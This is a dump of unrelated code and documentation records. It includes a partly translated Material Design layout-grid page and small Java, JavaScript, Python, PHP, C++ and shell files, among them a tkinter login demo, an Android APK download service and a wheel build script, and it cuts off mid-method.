columns.) 译文 <figure> ![]({assets_path}/layout/responsive-layout-grid/layout-responsive-gutters-360.png) <figcaption> [en]: <> (On mobile, at a breakpoint of 360dp, this layout grid uses 16dp gutters.) 译文 </figcaption></figure><figure> ![]({assets_path}/layout/responsive-layout-grid/layout-responsive-gutters-600.png) <figcaption> [en]: <> (On tablet, at a breakpoint of 600dp, this layout grid uses 24dp gutters.) 译文 </figcaption></figure> [en]: <> (Margins) ### 译文 [en]: <> (Margins are the space between content and the left and right edges of the screen.) 译文 [en]: <> (Margin widths are defined as fixed values at each breakpoint range. To better adapt to the screen, the margin width can change at different breakpoints. Wider margins are more appropriate for larger screens, as they create more whitespace around the perimeter of content.) 译文 <figure> ![]({assets_path}/layout/responsive-layout-grid/layout-responsive-margins-360.png) <figcaption> [en]: <> (On mobile, at a breakpoint of 360dp, this layout grid uses 16dp margins.) 译文 </figcaption></figure><figure> ![]({assets_path}/layout/responsive-layout-grid/layout-responsive-margins-600.png) <figcaption> [en]: <> (On a small tablet, at a breakpoint of 600dp, this layout grid uses 24dp margins.) 译文 </figcaption></figure> [en]: <> (Grid customization) <h2 id="grid-customization">译文</h2> [en]: <> (The layout grid can be adjusted to meet the needs of both your product and various device sizes.) 译文 [en]: <> (Customizing gutters) ### 译文 [en]: <> (Gutters can be adjusted to create more or less space between the columns of a layout.) 译文 <figure> ![]({assets_path}/layout/responsive-layout-grid/layout-custom-gutters-small.gif) <figcaption> [en]: <> (This layout grid uses 8dp gutters. The tighter spacing may suggest the images are closely related to one another, so that they are perceived as part of a collection.) 译文 </figcaption></figure><figure> ![]({assets_path}/layout/responsive-layout-grid/layout-custom-gutter-large.gif) <figcaption> [en]: <> (This layout grid uses larger, 32dp gutters to create more separation between columns. The extra space helps each album to be perceived as an individual entity within a collection.) 译文 </figcaption></figure><figure> ![]({assets_path}/layout/responsive-layout-grid/layout-custom-gutters-too-large-dont.gif) <figcaption> {dont} [en]: <> (Don’t make gutters too large, such as the same width as the columns. Too much space doesn’t leave enough room for content and prevents it from appearing unified.) 译文 </figcaption></figure> [en]: <> (Customizing margins) ### 译文 [en]: <> (Margins can be adjusted to create more or less space between content and the edge of the screen. Margins use a fixed value for each breakpoint.) 译文 [en]: <> (The ideal length for legibility of body copy is 40-60 characters per line.) 译文 <figure> ![]({assets_path}/layout/responsive-layout-grid/layout-custom-margins-small.gif) <figcaption> [en]: <> (This layout grid uses small, 8dp margins to allow images to take up more space in the layout.) 译文 </figcaption></figure><figure> ![]({assets_path}/layout/responsive-layout-grid/layout-custom-margins-large.gif) <figcaption> [en]: <> (This layout grid uses large, 64dp margins to limit the width of content.) 译文 </figcaption></figure><figure> ![]({assets_path}/layout/responsive-layout-grid/layout-custom-margins-large-dont.gif) <figcaption> {dont} [en]: <> (Don’t make margins so large that there isn’t sufficient room for content.) 译文 </figcaption></figure> [en]: <> (Gutters and margins) ### 译文 [en]: <> (Within the same breakpoint, gutter and margin widths can be different from one another.) 译文 <figure> ![]({assets_path}/layout/responsive-layout-grid/layout-custom-gutters-margins-different.png) <figcaption> [en]: <> (32dp margins) [en]: <> (8dp gutters) 1. 译文 2. 译文 </figcaption></figure> [en]: <> (Horizontal grids) ### 译文 [en]: <> (The Material Design layout grid can be customized for touch UIs that scroll horizontally. Columns, gutters, and margins are laid out from left to right, rather than top to bottom. The height of the screen determines the number of columns in a horizontal grid.) 译文 [en]: <> (Horizontally scrolling UIs are uncommon on non-touch and web platforms.) 译文 <figure> ![]({assets_path}/layout/responsive-layout-grid/layout-horizontal-grid.png) <figcaption> [en]: <> (This horizontal layout grid uses four horizontal columns, for a total layout height of 400dp.) 译文 [en]: <> (Columns) [en]: <> (Gutters) [en]: <> (Margins) 1. 译文 2. 译文 3. 译文 </figcaption></figure> [en]: <> (Horizontal grids can be positioned to accommodate different heights, allowing space for app bars or other UI regions at the top.) 译文 <figure> ![]({assets_path}/layout/responsive-layout-grid/layout-horizontal-grid-appbar.png) <figcaption> [en]: <> (<caption | This horizontal layout grid starts below the [Top App Bar]\(https://www.mdui.org/design/components/app-bars-top.html\) component and uses four horizontal columns at a height of 316dp.>) 译文 </figcaption></figure> [en]: <> (Breakpoints) <h2 id="breakpoints">译文</h2> [en]: <> (A breakpoint is the range of predetermined screen sizes that have specific layout requirements. At a given breakpoint range, the layout adjusts to suit the screen size and orientation.) 译文 <figure><video controls loop muted preload="metadata" class="mdui-video-fluid"><source data-src="{assets_path}/layout/responsive-layout-grid/layout-responsive-breakpoints.mp4" src="{assets_path}/layout/responsive-layout-grid/layout-responsive-breakpoints.mp4" type="video/mp4"></video></figure> [en]: <> (Breakpoint system) ### 译文 [en]: <> (Material Design provides responsive layouts based on the following column structures. Layouts using 4-column, 8-column, and 12-column grids are available for use across different screens, devices, and orientations.) 译文 [en]: <> (Each breakpoint range determines the number of columns, and recommended margins and gutters, for each display size.) 译文 [en]: <> (Breakpoint Range \(dp\) | Portrait | Landscape | Window | Columns | Margins / Gutters*) [en]: <> (--------- |---------- |--------- |------ |------ |------) [en]: <> (0 – 359 | small handset | &nbsp; | xsmall | 4 | 16) [en]: <> (360 – 399 | medium handset | &nbsp; | xsmall | 4 | 16) [en]: <> (400 – 479 | large handset | &nbsp; | xsmall | 4 | 16) [en]: <> (480 – 599 | large handset | small handset | xsmall | 4 | 16) [en]: <> (600 – 719 | small tablet | medium handset | small | 8 | 16) [en]: <> (720 – 839 | large tablet | large handset | small | 8 | 24) [en]: <> (840 – 959 | large tablet | large handset | small | 12 | 24) [en]: <> (960 – 1023 | &nbsp; | small tablet | small | 12 | 24) [en]: <> (1024 – 1279 | &nbsp; | large tablet | medium | 12 | 24) [en]: <> (1280 – 1439 | &nbsp; | large tablet | medium | 12 | 24) [en]: <> (1440 – 1599 | &nbsp; | &nbsp; | large | 12 | 24) [en]: <> (1600 – 1919 | &nbsp; | &nbsp; | large | 12 | 24) [en]: <> (1920 + | &nbsp; | &nbsp; | xlarge | 12 | 24) 译文 | 译文 | 译文 | 译文 | 译文 | 译文 --------|----------|-------- |-------- |-------- |-------- 译文 | 译文 | 译文 | 译文 | 译文 | 译文 译文 | 译文 | 译文 | 译文 | 译文 | 译文 译文 | 译文 | 译文 | 译文 | 译文 | 译文 译文 | 译文 | 译文 | 译文 | 译文 | 译文 译文 | 译文 | 译文 | 译文 | 译文 | 译文 译文 | 译文 | 译文 | 译文 | 译文 | 译文 译文 | 译文 | 译文 | 译文 | 译文 | 译文 译文 | 译文 | 译文 | 译文 | 译文 | 译文 译文 | 译文 | 译文 | 译文 | 译文 | 译文 译文 | 译文 | 译文 | 译文 | 译文 | 译文 译文 | 译文 | 译文 | 译文 | 译文 | 译文 译文 | 译文 | 译文 | 译文 | 译文 | 译文 译文 | 译文 | 译文 | 译文 | 译文 | 译文 [en]: <> (*Margins and gutters are flexible and don’t need to be of equal size.) 译文 [en]: <> (iOS breakpoints) ### 译文 [en]: <> (The following column numbers, and margin and gutter widths, apply to breakpoints for screens, devices, orientations, and widths on iOS.) 译文 [en]: <> (Device | Orientation | Vertical Size Category | Horizontal Size Category | Columns | Margins / Gutters*) [en]: <> (--------- |---------- |--------- |------ |------ |------) [en]: <> (iPhone | Portrait | Regular | Compact | 4 | 16) [en]: <> (iPhone | Landscape | Compact | Compact | 4 | 16) [en]: <> (iPhone Plus | Portrait | Regular | Compact | 4 | 16) [en]: <> (iPhone Plus | Landscape | Compact | Regular | 4 | 16) [en]: <> (iPad | Portrait | Regular | Regular | 8 | 16) [en]: <> (iPad | Landscape | Regular | Regular | 8 | 24) [en]: <> (iPad - Even Split Multitasking | Portrait | Regular | Compact | 12 | 24) [en]: <> (iPad - Even Split Multitasking | Landscape | Regular | Compact | 12 | 24) [en]: <> (iPad - 2/3 Split Multitasking | Portrait | Regular | Compact | 12 | 24) [en]: <> (iPad - 2/3 Split Multitasking - First App | Landscape | Regular | Regular | 12 | 24) [en]: <> (iPad - 2/3 Split Multitasking - Second App | Landscape | Regular | Compact | 12 | 24) [en]: <> (iPad Pro - Even Split Multitasking | Portrait | Regular | Compact | 12 | 24) [en]: <> (iPad Pro 13in - Even Split Multitasking | Landscape | Regular | Regular | 12 | 24) 译文 | 译文 | 译文 | 译文 | 译文 | 译文 --------|----------|-------- |-------- |-------- |-------- 译文 | 译文 | 译文 | 译文 | 译文 | 译文 译文 | 译文 | 译文 | 译文 | 译文 | 译文 译文 | 译文 | 译文 | 译文 | 译文 | 译文 译文 | 译文 | 译文 | 译文 | 译文 | 译文 译文 | 译文 | 译文 | 译文 | 译文 | 译文 译文 | 译文 | 译文 | 译文 | 译文 | 译文 译文 | 译文 | 译文 | 译文 | 译文 | 译文 译文 | 译文 | 译文 | 译文 | 译文 | 译文 译文 | 译文 | 译文 | 译文 | 译文 | 译文 译文 | 译文 | 译文 | 译文 | 译文 | 译文 译文 | 译文 | 译文 | 译文 | 译文 | 译文 译文 | 译文 | 译文 | 译文 | 译文 | 译文 译文 | 译文 | 译文 | 译文 | 译文 | 译文 [en]: <> (*Margins and gutters are flexible values and don’t need to be equal within the Material Design grid system.) 译文 [en]: <> (Grid behavior) <h2 id="grid-behavior">译文</h2> [en]: <> (Fluid grids) ### 译文 [en]: <> (Fluid grids use columns that scale and resize content. A fluid grid’s layout can use breakpoints to determine if the layout needs to change dramatically.) 译文 <figure> ![]({assets_path}/layout/responsive-layout-grid/layout-responsive-grid-behavior-fluid.gif) <figcaption> [en]: <> (Columns expanding in a full-width grid) 译文 </figcaption></figure> [en]: <> (Fixed grids) ### 译文 [en]: <> (Fixed grids use columns of a fixed size, with fluid margins to keep content unchanging within each breakpoint range. A fixed grid’s layout can only change at an assigned breakpoint.) 译文 <figure> ![]({assets_path}/layout/responsive-layout-grid/layout-responsive-grid-behavior-fixed.gif) <figcaption> [en]: <> (Margins expanding in a fixed grid) 译文 </figcaption></figure> [en]: <> (UI regions) <h2 id="ui-regions">译文</h2> [en]: <> (A layout is made up of several UI regions, such as side navigation, content areas, and app bars. These regions can display actions, content, or navigation destinations. UI regions should be consistent across devices, while adapting to different breakpoints of different screen sizes.) 译文 [en]: <> (To increase familiarity across devices, UI elements designed for desktop should be organized in a way that’s consistent with the mobile UI.) 译文 <figure> ![]({assets_path}/layout/responsive-layout-grid/01-ui-regions.gif) <figcaption> [en]: <> (Layout changes on different-sized screens) 译文 </figcaption></figure> [en]: <> (Permanent UI regions) ### 译文 [en]: <> (Permanent UI regions are regions that can be displayed outside of the responsive grid, like a navigation drawer. These regions cannot be collapsed.) 译文 <figure> ![]({assets_path}/layout/responsive-layout-grid/layout-responsive-uiregions-permenant.png) <figcaption> [en]: <> (When screen space is available, a permanent UI region exposes content.) 译文 </figcaption></figure> [en]: <> (Persistent UI regions) ### 译文 [en]: <> (Persistent UI regions are regions that can be displayed upon command at any time, or they can remain visible. They can be toggled on or off, to appear or disappear. When they appear, they condense both content and the grid.) 译文 [en]: <> (When a persistent UI region is visible, its visibility isn’t affected by interaction with other elements on screen.) 译文 <figure> ![]({assets_path}/layout/responsive-layout-grid/layout-responsive-uiregions-persistent.gif) <figcaption> [en]: <> (When open, this persistent navigation drawer causes the grid \(and its content\) to condense.) 译文 </figcaption></figure> [en]: <> (Temporary UI regions) ### 译文 [en]: <> (Temporary UI regions appear temporarily, and when they do, they do not affect the responsive grid. When visible, they can be hidden by tapping an item in their region, or any space outside their region.) 译文 [en]: <> (When a UI region is visible, other screen elements aren’t interactive.) 译文 <figure> ![]({assets_path}/layout/responsive-layout-grid/layout-responsive-uiregions-temporary.gif) <figcaption> [en]: <> (When open, this temporary navigation drawer doesn’t affect the responsive grid or screen content.) 译文 </figcaption></figure> [en]: <> (Whiteframes) <h2 id="whiteframes">译文</h2> [en]: <> (Whiteframes are structured layouts that provide a consistent approach to layout, layering, and shadows. They are a starting point, meant to be modified to meet the specific needs of a product.) 译文 <figure> ![]({assets_path}/layout/responsive-layout-grid/layout-responsive-whiteframes-01.png) <figcaption> [en]: <> (Mobile) [en]: <> (Desktop) 1. 译文 2. 译文 </figcaption></figure><figure> ![]({assets_path}/layout/responsive-layout-grid/layout-responsive-whiteframes-02.png) <figcaption> [en]: <> (Mobile) [en]: <> (Desktop) 1. 译文 2. 译文 </figcaption></figure></div>
Java
UTF-8
132
2.515625
3
[]
no_license
public class CallSingleton implements Runnable{ CallSingleton(){ } public void run(){ Singleton.getInstance(); } }
JavaScript
UTF-8
476
3.046875
3
[]
no_license
const numFrames = 12; const images = []; let currentFrame = 0; function preload(){ for (let i = 0; i < numFrames; i++){ let imageName = '../../media/frame-' + String(i).padStart(4, "0") + ".png"; images[i] = loadImage(imageName); } } function setup(){ createCanvas(640, 480); frameRate(24); } function draw(){ image(images[currentFrame], 0, 0, 480, 320); currentFrame++; if (currentFrame === images.length) { currentFrame = 0; } }
Python
UTF-8
1,596
3.046875
3
[]
no_license
import tkinter import time def clear(): login = ent_login.get() passwd = ent_pass.get() ent_login.delete(0, 'end') ent_pass.delete(0, 'end') lbl_info.pack() def update(): global label,photo,i,window if(i==20): i=0 photo = tkinter.PhotoImage(file = '10sec_loading_bar.gif', format="gif -index "+str(i)) label.configure(image = photo) i=i+1 window.after(500,update) window = tkinter.Tk() window.title('My First GUI Interface') window.geometry('400x300') window.wm_iconbitmap('favicon.ico') window.configure(background='medium sea green') lbl = tkinter.Label(window, text= "Zwróć uwagę na ikonkę...\n",bg='medium sea green', font=('Helvetica', 16)) lbl_login = tkinter.Label(window, text = 'Login:', bg='medium sea green') lbl_pass = tkinter.Label(window, text = 'Password:', bg='medium sea green') lbl_info = tkinter.Label(window, text = '\nSuccessfully logged in!', bg='medium sea green') ent_login = tkinter.Entry(window) ent_pass = tkinter.Entry(window, show="*") btn = tkinter.Button(window, text = "Log in.",fg='medium sea green',bg='dark slate gray', command = lambda: clear()) #in pack() function parameter fill=tkinter.X will make widget fills the axis in window) #parameter side=tkinter.LEFT will whereas put the widgets next to each other starting from left side) lbl.pack() lbl_login.pack() ent_login.pack() lbl_pass.pack() ent_pass.pack() btn.pack() photo = tkinter.PhotoImage(file = '10sec_loading_bar.gif') label = tkinter.Label(window, image = photo) label.pack() i=1 window.after(500, update) window.mainloop()
Python
UTF-8
111
2.921875
3
[]
no_license
import sys import stdio import math a = float(sys.argv[1]) stdio.writeln(math.sin(a) ** 2 + math.cos(a) ** 2)
JavaScript
UTF-8
359
2.84375
3
[ "MIT" ]
permissive
//state argument != app state, == state reducer responsible for export default function(state=null, action) { //don't modify old state here, return a new state to replace old one switch(action.type) { case "BOOK_SELECTED": console.log("active payload->",action.payload); return action.payload; } return state; }
Java
UTF-8
1,667
2.890625
3
[ "MIT" ]
permissive
package com.jingyuyao.tactical.view.world.component; import com.badlogic.ashley.core.Component; import com.badlogic.gdx.utils.Pool.Poolable; import com.google.common.base.Optional; import com.jingyuyao.tactical.model.world.Direction; import com.jingyuyao.tactical.view.world.resource.WorldTexture; import java.util.Map; import java.util.TreeMap; /** * A frame has a main texture and a list of overlaying textures on top of it. */ public class Frame implements Component, Poolable { private final Map<Integer, WorldTexture> overlays = new TreeMap<>(); private WorldTexture texture = null; private Direction direction = null; /** * @return The "base" or "main" {@link WorldTexture} for this frame. */ public Optional<WorldTexture> texture() { return Optional.fromNullable(texture); } public void setTexture(WorldTexture texture) { this.texture = texture; } /** * @return A list of {@link WorldTexture} that is rendered on top of the "base" texture. */ public Iterable<WorldTexture> getOverlays() { return overlays.values(); } /** * Sets an overlay for this frame. The render order of the overlays is determined by the natural * ordering of the key. */ public void setOverlay(int key, WorldTexture texture) { overlays.put(key, texture); } public void removeOverlay(int key) { overlays.remove(key); } public Optional<Direction> direction() { return Optional.fromNullable(direction); } public void setDirection(Direction direction) { this.direction = direction; } @Override public void reset() { overlays.clear(); texture = null; direction = null; } }
Java
UTF-8
819
2.34375
2
[ "Apache-2.0" ]
permissive
package ru.radiomayak.podcasts; import android.support.annotation.NonNull; import android.support.annotation.Nullable; class PodcastLayoutContent { private final Podcast podcast; private final boolean isArchived; private final Records records; private final long nextPage; PodcastLayoutContent(@Nullable Podcast podcast, boolean isArchived, @NonNull Records records, long nextPage) { this.podcast = podcast; this.isArchived = isArchived; this.records = records; this.nextPage = nextPage; } @Nullable Podcast getPodcast() { return podcast; } public boolean isArchived() { return isArchived; } @NonNull Records getRecords() { return records; } long getNextPage() { return nextPage; } }
Java
UTF-8
238
1.625
2
[ "Apache-2.0" ]
permissive
package com.fernandocejas.aragorn.runtime.util; /** * Indicates that the visibility of a type or member has been relaxed to make the code testable. * Idea borrowed from Google Collections :) */ public @interface VisibleForTesting { }
Java
UTF-8
3,276
2.359375
2
[ "Apache-2.0" ]
permissive
package com.zoranbogdanovski.searchmoviesapp.ui; import android.content.Context; import android.graphics.Color; import android.view.View; import android.view.ViewGroup; import android.widget.ArrayAdapter; import android.widget.ImageView; import android.widget.TextView; import com.bumptech.glide.Glide; import com.bumptech.glide.load.engine.DiskCacheStrategy; import com.zoranbogdanovski.searchmoviesapp.R; import com.zoranbogdanovski.searchmoviesapp.core.App; import com.zoranbogdanovski.searchmoviesapp.model.configuration.Images; import com.zoranbogdanovski.searchmoviesapp.model.searchresult.MovieSearchResult; import com.zoranbogdanovski.searchmoviesapp.util.UrlUtils; import java.util.List; import java.util.Locale; import java.util.Random; /** * Adapter for movie search results list. */ public class SearchResultsListAdapter extends ArrayAdapter<MovieSearchResult> { public SearchResultsListAdapter(Context context, List<MovieSearchResult> results) { super(context, 0, results); } @Override public View getView(int position, View convertView, ViewGroup parent) { View view = convertView; if (view == null) { view = View.inflate(getContext(), R.layout.list_item_movie, null); } MovieSearchResult movieSearchResult = getItem(position); ImageView ivImage = (ImageView) view.findViewById(R.id.movie_image); Glide.with(getContext()) .load(UrlUtils.createImageUrl(movieSearchResult.getPoster_path(), false)) .diskCacheStrategy(DiskCacheStrategy.ALL) .into(ivImage); TextView tvTitle = (TextView) view.findViewById(R.id.title); TextView tvDatePublished = (TextView) view.findViewById(R.id.date_tv); TextView tvLanguage = (TextView) view.findViewById(R.id.language); TextView tvVoteScore = (TextView) view.findViewById(R.id.vote_score); View colorRightView = view.findViewById(R.id.color_right_view); Random rnd = new Random(); int color = Color.argb(255, rnd.nextInt(256), rnd.nextInt(256), rnd.nextInt(256)); colorRightView.setBackgroundColor(color); tvTitle.setText(movieSearchResult.getOriginal_title()); tvDatePublished.setText(movieSearchResult.getRelease_date()); tvLanguage.setText(getContext().getString(R.string.language) + " " + getLanguage(movieSearchResult.getOriginal_language())); tvVoteScore.setText(getContext().getString(R.string.vote_score) + " " + movieSearchResult.getVote_average() + "/10"); return view; } private String getLanguage(String originalLanguage) { return new Locale(originalLanguage).getDisplayLanguage(); } private String createImageUrl(String filepath) { Images imagesConfiguration = App.getInstance().getConfiguration().getImages(); String base_url = imagesConfiguration.getBase_url(); List<String> poster_sizes = imagesConfiguration.getPoster_sizes(); long imageSizesListSize = poster_sizes.size(); // take a mid sized image for the list String imageSize = poster_sizes.get((int) Math.round((imageSizesListSize / 2) + .5)); return base_url + imageSize + filepath; } }
PHP
UTF-8
2,525
2.859375
3
[ "MIT" ]
permissive
<?php namespace pointybeard\Kickstarter\ExportParser\Lib; use pointybeard\Kickstarter\ExportParser\Lib\Exceptions\ZipArchiveException; final class BackerArchive extends ZipArchiveExtended { private $rewards = null; private $files = []; private $path = null; public function __construct($file) { $this->path = $file; if (($res = $this->open($this->path)) !== true) { throw new ZipArchiveException( 'Could not open file `'.$this->path.'`. Please check it is a valid Zip archive. Error Code: '.$res ); } // Make sure the rewards array is populated $this->rewards(); // This will create the reward iterators $this->process(); return true; } public function __destruct() { foreach (array_keys($this->rewards) as $rewardUid) { unset($this->rewards[$rewardUid]['reccords']); } } public function getArchivePath() { return $this->path; } private function process() { setlocale(LC_ALL, 'en_US.UTF8'); foreach ($this->files as $filename) { if (!($fp = $this->getStream($filename))) { throw new ZipArchiveException("Unable to load file contents into stream. {$filename}"); } $rewardName = $this->rewardNameFromFileName($filename); $rewardUid = $this->generateRewardUID($rewardName); $this->rewards[$rewardUid]['records'] = new RecordIterator($fp); } return true; } public function rewards() { if (is_null($this->rewards)) { $this->rewards = []; // Iterate over each file to find the backer reward levels for ($ii = 0; $ii < $this->count(); ++$ii) { $filename = $this->getNameIndex($ii); $contents = $this->getFromIndex($ii); $this->files[] = $filename; $rewardName = $this->rewardNameFromFileName($filename); $this->rewards[$this->generateRewardUID($rewardName)] = ['name' => $rewardName, 'records' => null]; } } return $this->rewards; } private function generateRewardUID($rewardName) { return md5($rewardName); } private function rewardNameFromFileName($filename) { return preg_replace_callback("/[^-]+\s+-\s+([^-]+).*/i", function ($match) { return trim($match[1]); }, $filename); } }
C++
UTF-8
2,500
2.6875
3
[]
no_license
void display_init() { digitalWrite(CS, HIGH); u8g2.begin(); } void u8g2_prepare(void) { u8g2.setFont(u8g2_font_open_iconic_all_2x_t); // 18 pixel font type. For value labeling u8g2.setFontRefHeightExtendedText(); u8g2.setDrawColor(1); // set default black color with white background u8g2.setFontPosTop(); u8g2.setFontDirection(0); } void home_screen() { char return_icon[2] = {61, '\0'}; char option_icon[2] = {82, '\0'}; u8g2.setFont(u8g2_font_open_iconic_arrow_1x_t); u8g2.drawStr(112, 0, return_icon); u8g2.drawStr(0, 16, option_icon); // or use N u8g2.drawStr(0, 32, option_icon); u8g2.drawStr(0, 48, option_icon); u8g2.setFont(u8g2_font_freedoomr10_mu); u8g2.drawStr(16, 16, "DIFF. ENCODER"); u8g2.drawStr(16, 32, "ANALOG ENCODER"); u8g2.drawStr(16, 48, "PWM ENCODER"); } void display_all_screen(int dual_line_value, int single_line_value, int analog_value, int pwm_value) { u8g2.setFont(u8g2_font_freedoomr10_mu); char labels[4][11] = {"DUAL", "SINGLE", "ANALOG", "PWM"}; int string_len[4] = {strlen(labels[0]), strlen(labels[1]), strlen(labels[2]), strlen(labels[3])}; int indent_size = largest(string_len, 4)*10; // assert the labels of each encoder u8g2.drawStr(0, 0, labels[0]); u8g2.drawStr((indent_size), 0, labels[1]); u8g2.drawStr(0, 32, labels[2]); u8g2.drawStr((indent_size), 32, labels[3]); // printing the values from the encoders char value_buffer[5] = {'\0'}; // 5 digits is all needed for 16 bit int args[4] = {dual_line_value, single_line_value, analog_value, pwm_value}; // re-assigning for more condensed code for (int i = 0; i < 4; i++) { if(args[i] == -1) { snprintf(value_buffer, 5, "%s", "(/)"); // disconnected encoder representation } else { snprintf(value_buffer, 5, "%d", args[i]); // convert to string to be printed } if(i == 0) { u8g2.drawStr(0, 16, value_buffer); } else if(i == 1) { u8g2.drawStr(indent_size, 16, value_buffer); } else if(i == 2) { u8g2.drawStr(0, 48, value_buffer); } else if(i == 3) { u8g2.drawStr(indent_size, 48, value_buffer); } memset(value_buffer, '\0', sizeof(value_buffer)); } } int largest(int arr[], int n) { int max = 0; for (int i = 0; i < n; i++) { if (arr[i] > max) max = arr[i]; } return max; }
Shell
UTF-8
889
3.328125
3
[ "BSD-3-Clause" ]
permissive
#!/bin/bash set -e -u -x function repair_wheel { wheel="$1" if ! auditwheel show "$wheel"; then echo "Skipping non-platform wheel $wheel" else auditwheel repair "$wheel" --plat "$PLAT" -w /io/wheelhouse/ fi } for PYBIN in /opt/python/*/bin; do if [[ $PYBIN == *"36"* ]] || [[ $PYBIN == *"37"* ]] || [[ $PYBIN == *"38"* ]] || [[ $PYBIN == *"39"* ]]; then "${PYBIN}/pip" install -r /io/dev-requirements.txt "${PYBIN}/pip" wheel /io/ -w wheelhouse/ fi done # Bundle external shared libraries into the wheels for whl in wheelhouse/spglib*.whl; do repair_wheel "$whl" done # Install packages and test for PYBIN in /opt/python/*/bin/; do if [[ $PYBIN == *"36"* ]] || [[ $PYBIN == *"37"* ]] || [[ $PYBIN == *"38"* ]] || [[ $PYBIN == *"39"* ]]; then "${PYBIN}/pip" install spglib --no-index -f /io/wheelhouse fi done
Java
UTF-8
6,945
2.015625
2
[]
no_license
package cc.lkme.addemo; import android.Manifest; import android.annotation.TargetApi; import android.app.DownloadManager; import android.app.Service; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.content.pm.ProviderInfo; import android.net.Uri; import android.os.Build; import android.os.Environment; import android.os.IBinder; import android.os.Process; import android.support.annotation.Nullable; import android.support.v4.content.FileProvider; import android.text.TextUtils; import android.util.Log; import java.io.File; import java.util.Iterator; import java.util.List; import static cc.lkme.addemo.LMConstants.DOWNLOAD_FILE_NAME; import static cc.lkme.addemo.LMConstants.DOWNLOAD_FILE_URL; /** * Created by LinkedME06 on 15/01/2017. */ public class LMDownloadService extends Service { private DownloadManager dm; private BroadcastReceiver receiver; private long enqueue; public static final String DOWNLOAD_ADINFO = "download_adinfo"; public static final String DOWNLOAD_PATH = "LMDownload/apk"; public static final String DOWNLOAD_FULL_PATH = Environment.getExternalStorageDirectory() + File.separator + DOWNLOAD_PATH; private String fileName; @Nullable @Override public IBinder onBind(Intent intent) { return null; } @Override public int onStartCommand(Intent intent, int flags, int startId) { if (!PermissionUtils.selfPermissionGranted(this, Manifest.permission.WRITE_EXTERNAL_STORAGE) && Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED) && Environment.getExternalStorageDirectory() != null && Environment.getExternalStorageDirectory().exists()) { Log.i("LinkedME", "无读写存储卡权限,请先获取后再下载"); stopSelf(); return Service.START_NOT_STICKY; } fileName = intent.getStringExtra(DOWNLOAD_FILE_NAME); File path = new File(DOWNLOAD_FULL_PATH); if (!path.exists()) { path.mkdirs(); } File file = new File(path, fileName); if (file.exists()) { Log.i("LinkedME", "download file is exist."); openFile(); stopSelf(); return Service.START_NOT_STICKY; } receiver = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { System.out.println(intent); Iterator<String> iterator = intent.getExtras().keySet().iterator(); while (iterator.hasNext()) { String key = iterator.next(); System.out.println(key); System.out.println(intent.getExtras().get(key)); } long downloadCompletedId = intent.getLongExtra( DownloadManager.EXTRA_DOWNLOAD_ID, 0); if (enqueue != downloadCompletedId) { return; } Log.i("LinkedME", "download file downloaded."); openFile(); stopSelf(); } }; registerReceiver(receiver, new IntentFilter(DownloadManager.ACTION_DOWNLOAD_COMPLETE)); startDownload(intent.getStringExtra(DOWNLOAD_FILE_URL), fileName); return Service.START_STICKY; } /** * 打开apk文件引导用户安装 */ private void openFile() { Intent intent = new Intent(Intent.ACTION_VIEW); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); Uri uri; if (Build.VERSION.SDK_INT > Build.VERSION_CODES.M && getApplicationInfo().targetSdkVersion > Build.VERSION_CODES.M) { String authorities = ""; List<ProviderInfo> providers = getPackageManager().queryContentProviders(getPackageName(), Process.myUid(), 0); if (providers != null) { for (ProviderInfo provider : providers) { if (TextUtils.equals("android.support.v4.content.FileProvider", provider.name)) { authorities = provider.authority; break; } } } Log.i("LinkedME", "设置FileProvider的Authorities为:" + authorities); if (TextUtils.isEmpty(authorities)) { Log.i("LinkedME", "未设置FileProvider的Authorities,请在Manifest.xml配置文件中配置provider,参考:https://developer.android.com/training/secure-file-sharing/setup-sharing.html。"); stopSelf(); return; } try { uri = FileProvider.getUriForFile(LMDownloadService.this, authorities, new File(DOWNLOAD_FULL_PATH + File.separator + fileName)); } catch (Exception e) { Log.i("LinkedME", "FileProvider的Authorities无正确匹配!"); stopSelf(); return; } intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION); } else { uri = Uri.fromFile(new File(DOWNLOAD_FULL_PATH + File.separator + fileName)); } intent.setDataAndType(uri, "application/vnd.android.package-archive"); startActivity(intent); } @Override public void onDestroy() { if (receiver != null) { unregisterReceiver(receiver); } super.onDestroy(); } /** * 开始下载文件 * * @param downloadUrl 文件下载地址 */ @TargetApi(Build.VERSION_CODES.GINGERBREAD) private void startDownload(String downloadUrl, String fileName) { dm = (DownloadManager) getSystemService(DOWNLOAD_SERVICE); Log.i("LinkedME", "Download File is = " + downloadUrl + ",name=" + fileName); DownloadManager.Request request = new DownloadManager.Request( Uri.parse(downloadUrl)); request.setMimeType("application/vnd.android.package-archive"); // if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB_MR1) { // if (LinkedME.getLinkActiveInstance().getSystemObserver().getWifiConnected()) { // request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_ONLY_COMPLETION); // } else { // request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_COMPLETED); // } // } if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB) { request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_COMPLETED); } request.setDestinationInExternalPublicDir(DOWNLOAD_PATH, fileName); enqueue = dm.enqueue(request); Log.i("LinkedME", "the enqueue is " + enqueue); } }
Java
UTF-8
1,734
2.171875
2
[]
no_license
package com.brothergang.demo.aop; import android.content.Intent; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.util.Log; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import android.widget.TextView; import android.widget.Toast; public class MainActivity extends AppCompatActivity implements View.OnClickListener { private static final String TAG = MainActivity.class.getSimpleName(); private Button mBtnIntent, btnClick; @MyAnnatation @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); try { String s = null; s.substring(0, 10); } catch (Exception e) { LogUtils.e("exception"); } exceptionTest(); setContentView(R.layout.activity_main); LogUtils.e("onCreate"); mBtnIntent = (Button) findViewById(R.id.btn_intent); mBtnIntent.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { Intent intent = new Intent(MainActivity.this, TestActivity.class); startActivity(intent); } }); btnClick = (Button) findViewById(R.id.btn_click); btnClick.setOnClickListener(this); } @Override protected void 